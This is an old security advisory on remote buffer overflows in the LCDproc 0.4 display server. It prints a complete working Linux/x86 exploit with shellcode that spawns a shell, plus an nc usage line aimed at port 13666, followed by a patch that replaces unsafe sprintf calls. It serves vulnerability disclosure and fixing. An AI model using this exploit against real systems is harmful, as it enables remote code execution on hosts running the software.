COMMAND

    LCDproc

SYSTEMS AFFECTED

    LCDproc 0.4

PROBLEM

    Andrew Hobgood found  following.  LCDproc  is a system  to display
    system  information  and  other  data  on  an  LCD display (or any
    supported  display  device,  including  curses  or  text).   As of
    version  0.4,  the  system  utilizes  a  client/server  model  for
    communication, and clients wishing to display data on the  LCDproc
    host device  can connect  to the  LCDproc server  and negotiate  a
    session.

    This system is commonly  used in embedded server  environments and
    other locations where system statistics must be available quickly,
    but space requirements or other restrictions prevent connecting  a
    monitor  or  other  display  unit.   Also,  since  it  must  often
    communicate with the LCD  device, it is commonly  installed setuid
    root or setgid uucp.

    While  this  system  provides  for  a  highly  extensible means of
    displaying data, the  protocol handling code  has a few  bugs with
    dire consequences.

    The  vulnerabilities  in  LCDproc  allow  an  attacker to remotely
    execute  arbitrary  code  or  cause  the  LCDproc server to crash.
    Improper boundary  conditions exist  at various  locations in  the
    code, including:

        [ Note: argv[0] in this context is *not* the argv[] from main(). ]
        
        parse.c:149: sprintf(errmsg, "huh? Invalid command \"%s\"\n", argv[0]);
        screenlist.c:119: sprintf(str, "ignore %s\n", old_s->id);
        screenlist.c:134: sprintf(str, "listen %s\n", s->id);

    As well  as other  locations.   Any system  running LCDproc 0.4 or
    above  (including  the  0.4-pre  series)  that  is  susceptible to
    buffer overflow attacks is vulnerable.  The exploit below is  only
    for Linux/x86,  and has  limited attack  potential, but  that does
    not mean  that the  scope of  the attack  is limited  only to that
    platform.  Remote access can be gained as whatever user and  group
    that LCDproc is running as.

    Exploit follows.  This code  launches /bin/sh on the remote  site.
    Unfortunately,  this  shell  is  execve()'ed,  and  inherits   the
    stdin/stdout of the main LCDproc process, and therefore just  runs
    /bin/sh on  the remote  site, instead  of over  the socket.  Blah.
    Andrew didn't feel like hacking up shellcode to do something  more
    productive.   Someone else  much more  capable than  hin will take
    care of that on his behalf.

    /*****
     * lcdproc-exploit.c
     *****
     *
     * LCDproc 0.4-pre9 exploit
     #
     # Andrew Hobgood <chaos@strange.net>
     * Kha0S on #LinuxOS/EFnet
     *
     * Tested on Linux/x86 2.2.5-15smp (the only Intel box I could get my hands
     * on for testing).
     *
     *****
     */
    
    #include <stdio.h>
    #include <stdlib.h>
    #include <unistd.h>
    #include <string.h>
    
    #define BUFFERSIZE 269
    #define NOP 0x90
    #define OFFSET 0xbffff750
    
    char shellcode[] =
	    "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89"
	    "\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c"
	    "\xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80\xe8\xdc\xff"
	    "\xff\xff/bin/sh";
    
    int main(int argc, char **argv) {
	    char *ptr, buffer[BUFFERSIZE];
	    unsigned long *long_ptr, offset = OFFSET;
	    int aux;
    
	    fprintf(stderr, "LCDproc exploit by Andrew Hobgood <chaos@strange.net>\n\n");
	    fprintf(stderr, "Usage: (%s [<offset>]; cat) | nc <target> 13666\n\n", argv[0]);
    
	    if (argc == 2) offset += atol(argv[1]);
    
	    ptr = buffer;
	    memset(ptr, 0, sizeof(buffer));
	    memset(ptr, NOP, sizeof(buffer) - strlen(shellcode) - 16);
	    ptr += sizeof(buffer) - strlen(shellcode) - 16;
	    memcpy(ptr, shellcode, strlen(shellcode));
	    ptr += strlen(shellcode);
	    long_ptr = (unsigned long *) ptr;
	    for(aux=0; aux<4; aux++) *(long_ptr++) = offset;
	    ptr = (char *) long_ptr;
	    *ptr = '\0';
    
	    fprintf(stderr, "Buffer size: %d\n", (int) strlen(buffer));
	    fprintf(stderr, "Offset: 0x%lx\n\n", offset);
    
	    printf("hello\n");
	    fflush(stdout);
	    sleep(1);
	    printf("screen_add {%s}\n", buffer);
	    fflush(stdout);
    
	    return(0);
    }

SOLUTION

    Disable LCDproc, or downgrade to  version 0.3 or before, prior  to
    the client/ server implementation in  0.4.  There is also  a patch
    included  below  which  can  be  applied  against  LCDproc version
    0.4-pre9 (available from the LCDproc home site):

    diff -ur ./WHATSNEW ../lcdproc-hacked/WHATSNEW
    --- ./WHATSNEW	Thu Oct 21 20:04:59 1999
    +++ ../lcdproc-hacked/WHATSNEW	Thu Apr 20 13:53:54 2000
    @@ -11,6 +11,11 @@
      * Better syntax for driver parameters
      * Dynamically-loaded driver system
    
    +>> Patched for bugs as follows by Andrew Hobgood <chaos@strange.net>:
    + * Three buffer overflows in various locations [screenlist.c, parse.c, others]
    + * Prevent too many arguments from walking over the boundary of the fixed
    +   client_func argv.
    +
     V0.4-pre9:
      * small fixes for irix
      * Added flag in LCDd to shut off server screen:
    diff -ur ./server/client_functions.c ../lcdproc-hacked/server/client_functions.c
    --- ./server/client_functions.c	Thu Oct 21 18:14:21 1999
    +++ ../lcdproc-hacked/server/client_functions.c	Thu Apr 20 14:12:42 2000
    @@ -68,7 +68,7 @@
    
        for(i=0; i<argc; i++)
        {
    -      sprintf(str, "test_func_func:  %i -> %s\n", i, argv[i]);
    +      snprintf(str, 256, "test_func_func:  %i -> %s\n", i, argv[i]);
           printf(str);
           sock_send_string(c->sock, str);
        }
    @@ -89,7 +89,7 @@
    
        debug("Hello!\n");
    
    -   sprintf(str,
    +   snprintf(str, 256,
 	       "connect LCDproc %s lcd wid %i hgt %i cellwid %i cellhgt %i\n",
 	       version, lcd.wid, lcd.hgt, lcd.cellwid, lcd.cellhgt);
        sock_send_string(c->sock, str);
    @@ -193,6 +193,9 @@
        }
    
    
    +   // truncate argv[1] so that it can't be used later to overflow any
    +   // buffers.				Andrew Hobgood <chaos@strange.net>
    +   argv[1][128] = 0;
        debug("screen_add: Adding screen %s\n", argv[1]);
        err = screen_add(c, argv[1]);
        if(err < 0)
    diff -ur ./server/parse.c ../lcdproc-hacked/server/parse.c
    --- ./server/parse.c	Sat Feb 20 20:53:23 1999
    +++ ../lcdproc-hacked/server/parse.c	Thu Apr 20 14:06:52 2000
    @@ -93,12 +93,21 @@
 	           if(newtoken && str[i])
 	           {
 		      newtoken=0;
    -		  argv[argc] = str + i;
    -		  argc++;
    -	       }
    -	       else
    -	       {
    -	       }
    +		  // make sure that we're not going to go over the fixed
    +		  // number of allowed arguments in argv
    +		  // 			Andrew Hobgood <chaos@strange.net>
    +		  if(argc < 255)
    +		  {
    +		    argv[argc] = str + i;
    +		    argc++;
    +		  } else
    +		  {
    +	            debug("Too many arguments, ignoring past 256.\n");
    +		  }
    +		}
    +	        else
    +		{
    +		}
 	        }
 	        if(inquote)
 	        {
    @@ -135,7 +144,9 @@
 	        if(invalid)
 	        {
 	           // FIXME:  Check for buffer overflows here...
    -	       sprintf(errmsg, "huh? Invalid command \"%s\"\n", argv[0]);
    +	       // You were right -- there was one here. =)  More or less
    +	       // fixed: 		Andrew Hobgood <chaos@strange.net>
    +	       snprintf(errmsg, 256, "huh? Invalid command \"%s\"\n", argv[0]);
 	           sock_send_string(c->sock, errmsg);
 	        }
    
    diff -ur ./server/screenlist.c ../lcdproc-hacked/server/screenlist.c
    --- ./server/screenlist.c	Fri Mar 12 00:20:39 1999
    +++ ../lcdproc-hacked/server/screenlist.c	Thu Apr 20 14:09:03 2000
    @@ -116,7 +116,7 @@
 	        c = old_s->parent;
 	        if(c)  // Tell the client we're not listening any more...
 	        {
    -	       sprintf(str, "ignore %s\n", old_s->id);
    +	       snprintf(str, 256, "ignore %s\n", old_s->id);
 	           sock_send_string(c->sock, str);
 	        }
 	        else  // The server has the display, so do nothing
    @@ -131,7 +131,7 @@
 	     c = s->parent;
 	     if(c)  // Tell the client we're paying attention...
 	     {
    -	    sprintf(str, "listen %s\n", s->id);
    +	    snprintf(str, 256, "listen %s\n", s->id);
 	        sock_send_string(c->sock, str);
 	     }
 	     else  // The server has the display, so do nothing